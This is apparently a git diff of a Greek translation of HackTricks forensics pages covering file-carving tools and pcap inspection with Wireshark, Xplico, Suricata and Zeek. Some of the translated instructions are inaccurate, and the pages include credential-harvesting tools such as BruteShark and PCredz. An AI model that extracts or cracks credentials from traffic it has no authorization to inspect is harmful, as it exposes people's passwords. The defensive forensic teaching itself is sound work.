* **Μοιραστείτε τα κόλπα σας στο hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
|
|
|
@ -1,105 +1,93 @@
|
|||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# Carving tools
|
||||
# Εργαλεία ανάκτησης δεδομένων
|
||||
|
||||
## Autopsy
|
||||
|
||||
The most common tool used in forensics to extract files from images is [**Autopsy**](https://www.autopsy.com/download/). Download it, install it and make it ingest the file to find "hidden" files. Note that Autopsy is built to support disk images and other kind of images, but not simple files.
|
||||
Το πιο κοινό εργαλείο που χρησιμοποιείται στην ανάκτηση δεδομένων για την εξαγωγή αρχείων από εικόνες είναι το [**Autopsy**](https://www.autopsy.com/download/). Κατεβάστε το, εγκαταστήστε το και κάντε το να αναλύσει το αρχείο για να βρει "κρυφά" αρχεία. Σημειώστε ότι το Autopsy είναι σχεδιασμένο για να υποστηρίζει εικόνες δίσκων και άλλου είδους εικόνες, αλλά όχι απλά αρχεία.
|
||||
|
||||
## Binwalk <a id="binwalk"></a>
|
||||
|
||||
**Binwalk** is a tool for searching binary files like images and audio files for embedded files and data.
|
||||
It can be installed with `apt` however the [source](https://github.com/ReFirmLabs/binwalk) can be found on github.
|
||||
**Useful commands**:
|
||||
|
||||
Το **Binwalk** είναι ένα εργαλείο για την αναζήτηση δυαδικών αρχείων όπως εικόνες και αρχεία ήχου για ενσωματωμένα αρχεία και δεδομένα.
|
||||
Μπορεί να εγκατασταθεί με την εντολή `apt`, ωστόσο η [πηγή](https://github.com/ReFirmLabs/binwalk) μπορεί να βρεθεί στο github.
|
||||
**Χρήσιμες εντολές**:
|
||||
```bash
|
||||
sudo apt install binwalk #Insllation
|
||||
binwalk file #Displays the embedded data in the given file
|
||||
binwalk -e file #Displays and extracts some files from the given file
|
||||
binwalk --dd ".*" file #Displays and extracts all files from the given file
|
||||
```
|
||||
|
||||
## Foremost
|
||||
|
||||
Another common tool to find hidden files is **foremost**. You can find the configuration file of foremost in `/etc/foremost.conf`. If you just want to search for some specific files uncomment them. If you don't uncomment anything foremost will search for it's default configured file types.
|
||||
|
||||
Ένα άλλο κοινό εργαλείο για την εύρεση κρυφών αρχείων είναι το **foremost**. Μπορείτε να βρείτε το αρχείο ρυθμίσεων του foremost στη διαδρομή `/etc/foremost.conf`. Αν θέλετε απλά να αναζητήσετε κάποια συγκεκριμένα αρχεία, κάντε σχόλιο στις αντίστοιχες γραμμές. Αν δεν κάνετε σχόλιο σε κάτι, το foremost θα αναζητήσει τους τύπους αρχείων που έχουν προκαθοριστεί.
|
||||
```bash
|
||||
sudo apt-get install foremost
|
||||
foremost -v -i file.img -o output
|
||||
#Discovered files will appear inside the folder "output"
|
||||
```
|
||||
|
||||
## **Scalpel**
|
||||
|
||||
**Scalpel** is another tool that can be use to find and extract **files embedded in a file**. In this case you will need to uncomment from the configuration file \(_/etc/scalpel/scalpel.conf_\) the file types you want it to extract.
|
||||
|
||||
**Scalpel** είναι ένα άλλο εργαλείο που μπορεί να χρησιμοποιηθεί για να βρει και να εξάγει **αρχεία που έχουν ενσωματωθεί σε ένα αρχείο**. Σε αυτήν την περίπτωση, θα πρέπει να καταργήσετε το σχόλιο από το αρχείο ρυθμίσεων \(_/etc/scalpel/scalpel.conf_\) τους τύπους αρχείων που θέλετε να εξάγει.
|
||||
```bash
|
||||
sudo apt-get install scalpel
|
||||
scalpel file.img -o output
|
||||
```
|
||||
|
||||
## Bulk Extractor
|
||||
|
||||
This tool comes inside kali but you can find it here: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk_extractor)
|
||||
|
||||
This tool can scan an image and will **extract pcaps** inside it, **network information\(URLs, domains, IPs, MACs, mails\)** and more **files**. You only have to do:
|
||||
Αυτό το εργαλείο περιλαμβάνεται στο kali αλλά μπορείτε να το βρείτε εδώ: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk_extractor)
|
||||
|
||||
Αυτό το εργαλείο μπορεί να σαρώσει μια εικόνα και θα **εξάγει pcaps** μέσα σε αυτήν, **πληροφορίες δικτύου (URLs, domains, IPs, MACs, mails)** και περισσότερα **αρχεία**. Απλά πρέπει να κάνετε:
|
||||
```text
|
||||
bulk_extractor memory.img -o out_folder
|
||||
```
|
||||
|
||||
Navigate through **all the information** that the tool has gathered \(passwords?\), **analyse** the **packets** \(read[ **Pcaps analysis**](../pcap-inspection/)\), search for **weird domains** \(domains related to **malware** or **non-existent**\).
|
||||
Περιηγηθείτε μέσα από **όλες τις πληροφορίες** που έχει συγκεντρώσει το εργαλείο \(κωδικοί πρόσβασης;\), **αναλύστε** τα **πακέτα** \(διαβάστε [**ανάλυση Pcaps**](../pcap-inspection/)\), αναζητήστε **περίεργους τομείς** \(τομείς που σχετίζονται με **κακόβουλο λογισμικό** ή **μη υπαρκτούς\).
|
||||
|
||||
## PhotoRec
|
||||
|
||||
You can find it in [https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk_Download)
|
||||
Μπορείτε να το βρείτε στο [https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk_Download)
|
||||
|
||||
It comes with GUI and CLI version. You can select the **file-types** you want PhotoRec to search for.
|
||||
Έρχεται με GUI και CLI έκδοση. Μπορείτε να επιλέξετε τους **τύπους αρχείων** που θέλετε το PhotoRec να αναζητήσει.
|
||||
|
||||
![](../../../.gitbook/assets/image%20%28524%29.png)
|
||||
|
||||
# Specific Data Carving Tools
|
||||
# Εργαλεία Ανάκτησης Συγκεκριμένων Δεδομένων
|
||||
|
||||
## FindAES
|
||||
|
||||
Searches for AES keys by searching for their key schedules. Able to find 128. 192, and 256 bit keys, such as those used by TrueCrypt and BitLocker.
|
||||
Αναζητά για κλειδιά AES αναζητώντας τα προγράμματα κλειδιού τους. Μπορεί να βρει κλειδιά 128, 192 και 256 bit, όπως αυτά που χρησιμοποιούνται από το TrueCrypt και το BitLocker.
|
||||
|
||||
Download [here](https://sourceforge.net/projects/findaes/).
|
||||
Κατεβάστε το [εδώ](https://sourceforge.net/projects/findaes/).
|
||||
|
||||
# Complementary tools
|
||||
# Συμπληρωματικά εργαλεία
|
||||
|
||||
You can use [**viu** ](https://github.com/atanunq/viu)to see images form the terminal.
|
||||
You can use the linux command line tool **pdftotext** to transform a pdf into text and read it.
|
||||
Μπορείτε να χρησιμοποιήσετε το [**viu** ](https://github.com/atanunq/viu)για να δείτε εικόνες από το τερματικό.
|
||||
Μπορείτε να χρησιμοποιήσετε το εργαλείο γραμμής εντολών του Linux **pdftotext** για να μετατρέψετε ένα pdf σε κείμενο και να το διαβάσετε.
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Συμμετάσχετε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
|
|
|
@ -1,158 +1,160 @@
|
|||
# Pcap Inspection
|
||||
# Επιθεώρηση Pcap
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
|
||||
[**RootedCON**](https://www.rootedcon.com/) είναι το πιο σχετικό συνέδριο κυβερνοασφάλειας στην **Ισπανία** και ένα από τα πιο σημαντικά στην **Ευρώπη**. Με **αποστολή την προώθηση της τεχνικής γνώσης**, αυτό το συνέδριο είναι ένας ζωηρός συνάντησης για επαγγελματίες τεχνολογίας και κυβερνοασφάλειας σε κάθε ειδικότητα.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
{% hint style="info" %}
|
||||
A note about **PCAP** vs **PCAPNG**: there are two versions of the PCAP file format; **PCAPNG is newer and not supported by all tools**. You may need to convert a file from PCAPNG to PCAP using Wireshark or another compatible tool, in order to work with it in some other tools.
|
||||
Μια σημείωση σχετικά με το **PCAP** έναντι του **PCAPNG**: υπάρχουν δύο εκδόσεις της μορφής αρχείου PCAP. Το **PCAPNG είναι πιο πρόσφατο και δεν υποστηρίζεται από όλα τα εργαλεία**. Ίσως χρειαστεί να μετατρέψετε ένα αρχείο από PCAPNG σε PCAP χρησιμοποιώντας το Wireshark ή ένα άλλο συμβατό εργαλείο, για να μπορέσετε να το χρησιμοποιήσετε σε άλλα εργαλεία.
|
||||
{% endhint %}
|
||||
|
||||
## Online tools for pcaps
|
||||
## Online εργαλεία για pcaps
|
||||
|
||||
* If the header of your pcap is **broken** you should try to **fix** it using: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php)
|
||||
* Extract **information** and search for **malware** inside a pcap in [**PacketTotal**](https://packettotal.com)
|
||||
* Search for **malicious activity** using [**www.virustotal.com**](https://www.virustotal.com) and [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com)
|
||||
* Εάν η κεφαλίδα του pcap σας είναι **κατεστραμμένη** θα πρέπει να προσπαθήσετε να την **επιδιορθώσετε** χρησιμοποιώντας: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php)
|
||||
* Εξαγάγετε **πληροφορίες** και αναζητήστε **κακόβουλο λογισμικό** μέσα σε ένα pcap στο [**PacketTotal**](https://packettotal.com)
|
||||
* Αναζητήστε **κακόβουλη δραστηριότητα** χρησιμοποιώντας το [**www.virustotal.com**](https://www.virustotal.com) και το [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com)
|
||||
|
||||
## Extract Information
|
||||
## Εξαγωγή Πληροφοριών
|
||||
|
||||
The following tools are useful to extract statistics, files, etc.
|
||||
Τα παρακάτω εργαλεία είναι χρήσιμα για την εξαγωγή στατιστικών, αρχείων, κλπ.
|
||||
|
||||
### Wireshark
|
||||
|
||||
{% hint style="info" %}
|
||||
**If you are going to analyze a PCAP you basically must to know how to use Wireshark**
|
||||
**Εάν πρόκειται να αναλύσετε ένα PCAP, πρέπει ουσιαστικά να ξέρετε πώς να χρησιμοποιήσετε το Wireshark**
|
||||
{% endhint %}
|
||||
|
||||
You can find some Wireshark tricks in:
|
||||
Μπορείτε να βρείτε μερικά κόλπα του Wireshark στο:
|
||||
|
||||
{% content-ref url="wireshark-tricks.md" %}
|
||||
[wireshark-tricks.md](wireshark-tricks.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Xplico Framework
|
||||
### Πλαίσιο Xplico
|
||||
|
||||
[**Xplico** ](https://github.com/xplico/xplico)_(only linux)_ can **analyze** a **pcap** and extract information from it. For example, from a pcap file Xplico, extracts each email (POP, IMAP, and SMTP protocols), all HTTP contents, each VoIP call (SIP), FTP, TFTP, and so on.
|
||||
|
||||
**Install**
|
||||
[**Xplico** ](https://github.com/xplico/xplico)_(μόνο για linux)_ μπορεί να **αναλύσει** ένα **pcap** και να εξάγει πληροφορίες από αυτό. Για παράδειγμα, από ένα αρχείο pcap, το Xplico εξάγει κάθε email (πρωτόκολλα POP, IMAP και SMTP), όλο το περιεχόμενο HTTP, κάθε κλήση VoIP (πρωτόκολλο SIP), FTP, TFTP και άλλα.
|
||||
|
||||
**Εγκατάσταση**
|
||||
```bash
|
||||
sudo bash -c 'echo "deb http://repo.xplico.org/ $(lsb_release -s -c) main" /etc/apt/sources.list'
|
||||
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 791C25CE
|
||||
sudo apt-get update
|
||||
sudo apt-get install xplico
|
||||
```
|
||||
|
||||
**Run**
|
||||
|
||||
**Εκτέλεση**
|
||||
```
|
||||
/etc/init.d/apache2 restart
|
||||
/etc/init.d/xplico start
|
||||
```
|
||||
Αποκτήστε πρόσβαση στο _**127.0.0.1:9876**_ με διαπιστευτήρια _**xplico:xplico**_
|
||||
|
||||
Access to _**127.0.0.1:9876**_ with credentials _**xplico:xplico**_
|
||||
|
||||
Then create a **new case**, create a **new session** inside the case and **upload the pcap** file.
|
||||
Στη συνέχεια, δημιουργήστε ένα **νέο περιστατικό**, δημιουργήστε μια **νέα συνεδρία** μέσα στο περιστατικό και **ανεβάστε το αρχείο pcap**.
|
||||
|
||||
### NetworkMiner
|
||||
|
||||
Like Xplico it is a tool to **analyze and extract objects from pcaps**. It has a free edition that you can **download** [**here**](https://www.netresec.com/?page=NetworkMiner). It works with **Windows**.\
|
||||
This tool is also useful to get **other information analysed** from the packets in order to be able to know what was happening in a **quicker** way.
|
||||
Όπως και το Xplico, είναι ένα εργαλείο για **ανάλυση και εξαγωγή αντικειμένων από pcaps**. Διαθέτει μια δωρεάν έκδοση που μπορείτε να **κατεβάσετε** [**εδώ**](https://www.netresec.com/?page=NetworkMiner). Λειτουργεί με **Windows**.\
|
||||
Αυτό το εργαλείο είναι επίσης χρήσιμο για να ανακτήσετε **άλλες πληροφορίες από τα πακέτα** προκειμένου να μπορείτε να γνωρίζετε τι συνέβαινε με έναν **ταχύτερο** τρόπο.
|
||||
|
||||
### NetWitness Investigator
|
||||
|
||||
You can download [**NetWitness Investigator from here**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(It works in Windows)**.\
|
||||
This is another useful tool that **analyses the packets** and sorts the information in a useful way to **know what is happening inside**.
|
||||
Μπορείτε να κατεβάσετε το [**NetWitness Investigator από εδώ**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(Λειτουργεί σε Windows)**.\
|
||||
Αυτό είναι ένα άλλο χρήσιμο εργαλείο που **αναλύει τα πακέτα** και ταξινομεί τις πληροφορίες με τρόπο που είναι χρήσιμος για να **γνωρίζετε τι συμβαίνει μέσα**.
|
||||
|
||||
### [BruteShark](https://github.com/odedshimon/BruteShark)
|
||||
|
||||
* Extracting and encoding usernames and passwords (HTTP, FTP, Telnet, IMAP, SMTP...)
|
||||
* Extract authentication hashes and crack them using Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...)
|
||||
* Build a visual network diagram (Network nodes & users)
|
||||
* Extract DNS queries
|
||||
* Reconstruct all TCP & UDP Sessions
|
||||
* File Carving
|
||||
* Εξαγωγή και κωδικοποίηση ονοματεπώνυμων και κωδικών πρόσβασης (HTTP, FTP, Telnet, IMAP, SMTP...)
|
||||
* Εξαγωγή κατακεκριμένων καταλόγων ταυτοποίησης και αποκωδικοποίησή τους χρησιμοποιώντας το Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...)
|
||||
* Δημιουργία οπτικού διαγράμματος δικτύου (Κόμβοι δικτύου και χρήστες)
|
||||
* Εξαγωγή ερωτήσεων DNS
|
||||
* Ανακατασκευή όλων των συνεδριών TCP & UDP
|
||||
* Ανάκτηση αρχείων
|
||||
|
||||
### Capinfos
|
||||
|
||||
```
|
||||
capinfos capture.pcap
|
||||
```
|
||||
|
||||
### Ngrep
|
||||
|
||||
If you are **looking** for **something** inside the pcap you can use **ngrep**. Here is an example using the main filters:
|
||||
|
||||
Αν ψάχνετε για κάτι μέσα στο pcap, μπορείτε να χρησιμοποιήσετε το **ngrep**. Εδώ υπάρχει ένα παράδειγμα χρησιμοποιώντας τα κύρια φίλτρα:
|
||||
```bash
|
||||
ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168"
|
||||
```
|
||||
### Ανάκτηση
|
||||
|
||||
### Carving
|
||||
|
||||
Using common carving techniques can be useful to extract files and information from the pcap:
|
||||
Η χρήση κοινών τεχνικών ανάκτησης μπορεί να είναι χρήσιμη για την εξαγωγή αρχείων και πληροφοριών από το pcap:
|
||||
|
||||
{% content-ref url="../partitions-file-systems-carving/file-data-carving-recovery-tools.md" %}
|
||||
[file-data-carving-recovery-tools.md](../partitions-file-systems-carving/file-data-carving-recovery-tools.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Capturing credentials
|
||||
### Καταγραφή διαπιστευτηρίων
|
||||
|
||||
You can use tools like [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) to parse credentials from a pcap or a live interface.
|
||||
Μπορείτε να χρησιμοποιήσετε εργαλεία όπως το [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) για να αναλύσετε διαπιστευτήρια από ένα pcap ή ένα ζωντανό διεπαφή.
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
|
||||
[**RootedCON**](https://www.rootedcon.com/) είναι το πιο σχετικό συνέδριο κυβερνοασφάλειας στην **Ισπανία** και ένα από τα πιο σημαντικά στην **Ευρώπη**. Με **αποστολή την προώθηση τεχνικών γνώσεων**, αυτό το συνέδριο είναι ένας ζωντανός σημείο συνάντησης για επαγγελματίες τεχνολογίας και κυβερνοασφάλειας σε κάθε ειδικότητα.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
## Check Exploits/Malware
|
||||
## Έλεγχος Εκμεταλλεύσεων/Κακόβουλου Λογισμικού
|
||||
|
||||
### Suricata
|
||||
|
||||
**Install and setup**
|
||||
|
||||
**Εγκατάσταση και ρύθμιση**
|
||||
```
|
||||
apt-get install suricata
|
||||
apt-get install oinkmaster
|
||||
echo "url = http://rules.emergingthreats.net/open/suricata/emerging.rules.tar.gz" >> /etc/oinkmaster.conf
|
||||
oinkmaster -C /etc/oinkmaster.conf -o /etc/suricata/rules
|
||||
```
|
||||
**Έλεγχος pcap**
|
||||
|
||||
**Check pcap**
|
||||
Για να εξετάσετε ένα αρχείο pcap, μπορείτε να χρησιμοποιήσετε το εργαλείο `tcpdump` ή το `Wireshark`. Αυτά τα εργαλεία σάς επιτρέπουν να αναλύσετε την κίνηση του δικτύου και να εξάγετε πληροφορίες από το αρχείο pcap.
|
||||
|
||||
Για να ελέγξετε ένα αρχείο pcap με το `tcpdump`, μπορείτε να χρησιμοποιήσετε την ακόλουθη εντολή:
|
||||
|
||||
```bash
|
||||
tcpdump -r file.pcap
|
||||
```
|
||||
|
||||
Αυτή η εντολή θα εμφανίσει όλη την κίνηση του δικτύου που καταγράφηκε στο αρχείο pcap.
|
||||
|
||||
Για να ελέγξετε ένα αρχείο pcap με το `Wireshark`, απλά ανοίξτε το αρχείο pcap με το πρόγραμμα. Στη συνέχεια, μπορείτε να περιηγηθείτε στην κίνηση του δικτύου, να εφαρμόσετε φίλτρα και να αναλύσετε τα πακέτα που καταγράφηκαν.
|
||||
|
||||
Και τα δύο εργαλεία σάς παρέχουν τη δυνατότητα να εξετάσετε την κίνηση του δικτύου και να ανακαλύψετε πιθανές ασφαλείας προβλήματα ή ανωμαλίες.
|
||||
```
|
||||
suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log
|
||||
```
|
||||
|
||||
### YaraPcap
|
||||
|
||||
[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) is a tool that
|
||||
[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) είναι ένα εργαλείο που
|
||||
|
||||
* Reads a PCAP File and Extracts Http Streams.
|
||||
* gzip deflates any compressed streams
|
||||
* Scans every file with yara
|
||||
* Writes a report.txt
|
||||
* Optionally saves matching files to a Dir
|
||||
* Διαβάζει ένα αρχείο PCAP και εξάγει ροές Http.
|
||||
* Αποσυμπιέζει gzip οποιεσδήποτε συμπιεσμένες ροές
|
||||
* Σαρώνει κάθε αρχείο με το yara
|
||||
* Γράφει ένα αρχείο αναφοράς (report.txt)
|
||||
* Προαιρετικά αποθηκεύει τα αντιστοιχισμένα αρχεία σε έναν φάκελο (Dir)
|
||||
|
||||
### Malware Analysis
|
||||
### Ανάλυση κακόβουλου λογισμικού
|
||||
|
||||
Check if you can find any fingerprint of a known malware:
|
||||
Ελέγξτε αν μπορείτε να βρείτε οποιοδήποτε αποτύπωμα γνωστού κακόβουλου λογισμικού:
|
||||
|
||||
{% content-ref url="../malware-analysis.md" %}
|
||||
[malware-analysis.md](../malware-analysis.md)
|
||||
|
@ -160,12 +162,11 @@ Check if you can find any fingerprint of a known malware:
|
|||
|
||||
## Zeek
|
||||
|
||||
> [Zeek](https://docs.zeek.org/en/master/about.html) is a passive, open-source network traffic analyzer. Many operators use Zeek as a Network Security Monitor (NSM) to support investigations of suspicious or malicious activity. Zeek also supports a wide range of traffic analysis tasks beyond the security domain, including performance measurement and troubleshooting.
|
||||
> [Zeek](https://docs.zeek.org/en/master/about.html) είναι ένα παθητικό, ανοικτού κώδικα αναλυτής κίνησης δικτύου. Πολλοί χειριστές χρησιμοποιούν το Zeek ως έναν Επιτήρητη Ασφάλειας Δικτύου (NSM) για να υποστηρίξουν έρευνες ύποπτων ή κακόβουλων δραστηριοτήτων. Το Zeek υποστηρίζει επίσης μια ευρεία γκάμα από εργασίες ανάλυσης κίνησης πέρα από τον τομέα της ασφάλειας, συμπεριλαμβανομένης της μέτρησης της απόδοσης και της επίλυσης προβλημάτων.
|
||||
|
||||
Basically, logs created by `zeek` aren't **pcaps**. Therefore you will need to use **other tools** to analyse the logs where the **information** about the pcaps are.
|
||||
|
||||
### Connections Info
|
||||
Βασικά, τα αρχεία καταγραφής που δημιουργούνται από το `zeek` δεν είναι **pcaps**. Επομένως, θα χρειαστείτε να χρησιμοποιήσετε **άλλα εργαλεία** για να αναλύσετε τις καταγραφές όπου βρίσκονται οι **πληροφορίες** για τα pcaps.
|
||||
|
||||
### Πληροφορίες συνδέσεων
|
||||
```bash
|
||||
#Get info about longest connections (add "grep udp" to see only udp traffic)
|
||||
#The longest connection might be of malware (constant reverse shell?)
|
||||
|
@ -215,9 +216,17 @@ Score,Source IP,Destination IP,Connections,Avg Bytes,Intvl Range,Size Range,Top
|
|||
